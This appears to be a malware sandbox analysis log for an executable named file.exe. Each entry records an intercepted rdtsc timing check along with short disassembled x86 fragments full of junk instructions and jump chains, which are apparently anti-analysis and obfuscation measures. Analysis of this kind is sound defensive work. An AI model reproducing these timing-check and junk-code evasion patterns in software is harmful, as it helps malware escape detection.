Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5110376 second address: 5110388 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jne 00007F2F56562499h 0x0000000e pushad 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5100791 second address: 51007FC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2EE4767545h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b call 00007F2EE476753Ch 0x00000010 mov dx, si 0x00000013 pop ecx 0x00000014 mov ax, di 0x00000017 popad 0x00000018 push eax 0x00000019 pushad 0x0000001a movzx esi, dx 0x0000001d mov bh, 75h 0x0000001f popad 0x00000020 xchg eax, ebp 0x00000021 push eax 0x00000022 push edx 0x00000023 pushad 0x00000024 pushad 0x00000025 popad 0x00000026 pushfd 0x00000027 jmp 00007F2EE4767545h 0x0000002c xor si, 9736h 0x00000031 jmp 00007F2EE4767541h 0x00000036 popfd 0x00000037 popad 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51007FC second address: 510087E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F2EE4744187h 0x00000009 or ax, 746Eh 0x0000000e jmp 00007F2EE4744189h 0x00000013 popfd 0x00000014 pushfd 0x00000015 jmp 00007F2EE4744180h 0x0000001a or ecx, 15189FE8h 0x00000020 jmp 00007F2EE474417Bh 0x00000025 popfd 0x00000026 popad 0x00000027 pop edx 0x00000028 pop eax 0x00000029 mov ebp, esp 0x0000002b jmp 00007F2EE4744186h 0x00000030 and esp, FFFFFFF8h 0x00000033 push eax 0x00000034 push edx 0x00000035 pushad 0x00000036 pushad 0x00000037 popad 0x00000038 push eax 0x00000039 push edx 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 510087E second address: 5100883 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5100883 second address: 51008B7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2EE4744186h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F2EE4744187h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51008B7 second address: 51008F1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop eax 0x00000005 pushfd 0x00000006 jmp 00007F2EE476753Bh 0x0000000b and ax, 8A9Eh 0x00000010 jmp 00007F2EE4767549h 0x00000015 popfd 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 push eax 0x0000001a pushad 0x0000001b push eax 0x0000001c push edx 0x0000001d mov ax, di 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51008F1 second address: 510091B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2EE4744185h 0x00000009 popad 0x0000000a xchg eax, ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F2EE474417Dh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 510091B second address: 5100950 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2EE4767541h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a jmp 00007F2EE476753Eh 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F2EE476753Eh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5100950 second address: 510099E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2EE474417Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a pushad 0x0000000b movzx eax, dx 0x0000000e mov cl, dl 0x00000010 popad 0x00000011 mov esi, dword ptr [ebp+08h] 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 pushfd 0x00000018 jmp 00007F2EE4744185h 0x0000001d add eax, 0CF26656h 0x00000023 jmp 00007F2EE4744181h 0x00000028 popfd 0x00000029 mov ebx, esi 0x0000002b popad 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 510099E second address: 51009D5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop esi 0x00000005 movsx edi, cx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b sub ebx, ebx 0x0000000d jmp 00007F2EE4767547h 0x00000012 test esi, esi 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 call 00007F2EE476753Bh 0x0000001c pop ecx 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51009D5 second address: 51009DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51009DA second address: 51009E0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51009E0 second address: 5100A5E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007F2F56569B1Ch 0x0000000e pushad 0x0000000f mov ecx, 7781E87Fh 0x00000014 movzx eax, di 0x00000017 popad 0x00000018 cmp dword ptr [esi+08h], DDEEDDEEh 0x0000001f pushad 0x00000020 mov edi, 3D69F350h 0x00000025 mov al, bl 0x00000027 popad 0x00000028 mov ecx, esi 0x0000002a pushad 0x0000002b mov ebx, ecx 0x0000002d popad 0x0000002e je 00007F2F56569B0Bh 0x00000034 jmp 00007F2EE4744184h 0x00000039 test byte ptr [76FB6968h], 00000002h 0x00000040 jmp 00007F2EE4744180h 0x00000045 jne 00007F2F56569AEDh 0x0000004b jmp 00007F2EE4744180h 0x00000050 mov edx, dword ptr [ebp+0Ch] 0x00000053 push eax 0x00000054 push edx 0x00000055 push eax 0x00000056 push edx 0x00000057 pushad 0x00000058 popad 0x00000059 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5100A5E second address: 5100A64 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5100A64 second address: 5100A76 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop edx 0x00000005 movzx ecx, dx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5100A76 second address: 5100A91 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2EE4767547h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5100A91 second address: 5100A97 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5100A97 second address: 5100A9B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5100A9B second address: 5100AC6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2EE474417Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], ebx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F2EE4744185h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5100AC6 second address: 5100AD6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F2EE476753Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5100AD6 second address: 5100AFF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2EE474417Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F2EE4744185h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5100AFF second address: 5100B0F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F2EE476753Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5100B0F second address: 5100BC7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2EE474417Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d call 00007F2EE474417Fh 0x00000012 push ecx 0x00000013 pop ebx 0x00000014 pop eax 0x00000015 jmp 00007F2EE4744185h 0x0000001a popad 0x0000001b xchg eax, ebx 0x0000001c pushad 0x0000001d mov edi, eax 0x0000001f call 00007F2EE4744188h 0x00000024 mov dx, si 0x00000027 pop eax 0x00000028 popad 0x00000029 push dword ptr [ebp+14h] 0x0000002c pushad 0x0000002d pushfd 0x0000002e jmp 00007F2EE4744183h 0x00000033 jmp 00007F2EE4744183h 0x00000038 popfd 0x00000039 pushfd 0x0000003a jmp 00007F2EE4744188h 0x0000003f adc cl, FFFFFFB8h 0x00000042 jmp 00007F2EE474417Bh 0x00000047 popfd 0x00000048 popad 0x00000049 push dword ptr [ebp+10h] 0x0000004c pushad 0x0000004d push esi 0x0000004e push eax 0x0000004f push edx 0x00000050 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5100BE6 second address: 5100C08 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 call 00007F2EE476753Fh 0x0000000a mov ecx, 62CB02BFh 0x0000000f pop eax 0x00000010 popad 0x00000011 pop esi 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 mov si, di 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5100C08 second address: 5100C0C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5100C0C second address: 5100C16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 mov bl, D4h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5100C16 second address: 5100C25 instructions: 0x00000000 rdtsc 0x00000002 mov bx, ax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 popad 0x00000008 pop ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5100C25 second address: 5100C29 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5100C29 second address: 5100C2F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5100C2F second address: 5100C88 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F2EE476753Ch 0x00000008 pushfd 0x00000009 jmp 00007F2EE4767542h 0x0000000e xor eax, 2C3BDB38h 0x00000014 jmp 00007F2EE476753Bh 0x00000019 popfd 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d mov esp, ebp 0x0000001f jmp 00007F2EE4767546h 0x00000024 pop ebp 0x00000025 push eax 0x00000026 push edx 0x00000027 pushad 0x00000028 movsx ebx, cx 0x0000002b push eax 0x0000002c pop ebx 0x0000002d popad 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5100C88 second address: 5100C8E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5100C8E second address: 5100C92 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5110CC2 second address: 5110CFE instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F2EE4744182h 0x00000008 or al, FFFFFFD8h 0x0000000b jmp 00007F2EE474417Bh 0x00000010 popfd 0x00000011 pop edx 0x00000012 pop eax 0x00000013 popad 0x00000014 xchg eax, ebp 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F2EE4744180h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5110CFE second address: 5110D04 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5110D04 second address: 5110D21 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop ebx 0x00000005 push eax 0x00000006 pop edx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F2EE4744180h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5110D21 second address: 5110D27 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5110D27 second address: 5110D2B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5110D2B second address: 5110D8F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 jmp 00007F2EE4767549h 0x0000000e mov ebp, esp 0x00000010 pushad 0x00000011 mov ebx, eax 0x00000013 pushfd 0x00000014 jmp 00007F2EE4767548h 0x00000019 sbb ecx, 0405AB58h 0x0000001f jmp 00007F2EE476753Bh 0x00000024 popfd 0x00000025 popad 0x00000026 pop ebp 0x00000027 push eax 0x00000028 push edx 0x00000029 pushad 0x0000002a call 00007F2EE476753Bh 0x0000002f pop esi 0x00000030 popad 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5110AC3 second address: 5110B21 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edx, cx 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F2EE4744180h 0x00000011 sbb al, FFFFFFF8h 0x00000014 jmp 00007F2EE474417Bh 0x00000019 popfd 0x0000001a popad 0x0000001b mov ebp, esp 0x0000001d jmp 00007F2EE4744186h 0x00000022 pop ebp 0x00000023 push eax 0x00000024 push edx 0x00000025 jmp 00007F2EE4744187h 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5180979 second address: 518097F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51807ED second address: 518082E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2EE474417Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F2EE474417Bh 0x00000013 sbb ax, E45Eh 0x00000018 jmp 00007F2EE4744189h 0x0000001d popfd 0x0000001e mov edi, esi 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 518082E second address: 518084A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F2EE4767548h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 518084A second address: 518087A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F2EE474417Eh 0x0000000e xchg eax, ebp 0x0000000f jmp 00007F2EE4744180h 0x00000014 mov ebp, esp 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 518087A second address: 518087E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 518087E second address: 5180884 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51201E6 second address: 5120218 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2EE476753Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F2EE4767546h 0x0000000f mov ebp, esp 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5120218 second address: 512021C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 512021C second address: 5120222 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5120222 second address: 5120241 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2EE4744184h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5120241 second address: 5120245 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5120245 second address: 512024B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5180C99 second address: 5180C9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5180C9E second address: 5180CA3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5180CA3 second address: 5180CE9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007F2EE4767546h 0x0000000a sbb esi, 41C9CEC8h 0x00000010 jmp 00007F2EE476753Bh 0x00000015 popfd 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 mov ebp, esp 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007F2EE4767540h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5180CE9 second address: 5180CEF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5180CEF second address: 5180D0A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2EE476753Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push dword ptr [ebp+0Ch] 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5180D0A second address: 5180D27 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2EE4744189h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5180D27 second address: 5180D2D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5180D2D second address: 5180D82 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push dword ptr [ebp+08h] 0x0000000b jmp 00007F2EE474417Fh 0x00000010 call 00007F2EE4744179h 0x00000015 pushad 0x00000016 mov cl, 94h 0x00000018 pushfd 0x00000019 jmp 00007F2EE4744181h 0x0000001e sub ah, 00000006h 0x00000021 jmp 00007F2EE4744181h 0x00000026 popfd 0x00000027 popad 0x00000028 push eax 0x00000029 push eax 0x0000002a push edx 0x0000002b push eax 0x0000002c push edx 0x0000002d push eax 0x0000002e push edx 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5180D82 second address: 5180D86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5180D86 second address: 5180D8C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5180E4A second address: 5180EB2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F2EE4767547h 0x00000009 xor si, 62CEh 0x0000000e jmp 00007F2EE4767549h 0x00000013 popfd 0x00000014 pushad 0x00000015 popad 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 movzx eax, al 0x0000001c jmp 00007F2EE476753Ch 0x00000021 pop ebp 0x00000022 push eax 0x00000023 push edx 0x00000024 jmp 00007F2EE4767547h 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BBD32 second address: 9BBD36 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BBD36 second address: 9BBD4A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b push eax 0x0000000c pop eax 0x0000000d jno 00007F2EE4767536h 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BBEF8 second address: 9BBF1D instructions: 0x00000000 rdtsc 0x00000002 ja 00007F2EE474417Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F2EE4744180h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BBF1D second address: 9BBF21 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BBF21 second address: 9BBF27 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BBF27 second address: 9BBF2D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BC11C second address: 9BC120 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51306FE second address: 513076B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 call 00007F2EE4767546h 0x0000000a mov bx, cx 0x0000000d pop eax 0x0000000e popad 0x0000000f xor dword ptr [esp], 17B9D274h 0x00000016 pushad 0x00000017 pushfd 0x00000018 jmp 00007F2EE4767543h 0x0000001d sub eax, 4EA5A2CEh 0x00000023 jmp 00007F2EE4767549h 0x00000028 popfd 0x00000029 mov ax, B4D7h 0x0000002d popad 0x0000002e mov eax, dword ptr fs:[00000000h] 0x00000034 push eax 0x00000035 push edx 0x00000036 push eax 0x00000037 push edx 0x00000038 pushad 0x00000039 popad 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 513076B second address: 5130771 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5130771 second address: 5130777 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5130777 second address: 513077B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 513077B second address: 513077F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 513077F second address: 513078E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 513078E second address: 5130792 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5130792 second address: 5130796 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5130796 second address: 513079C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 513079C second address: 51307A2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
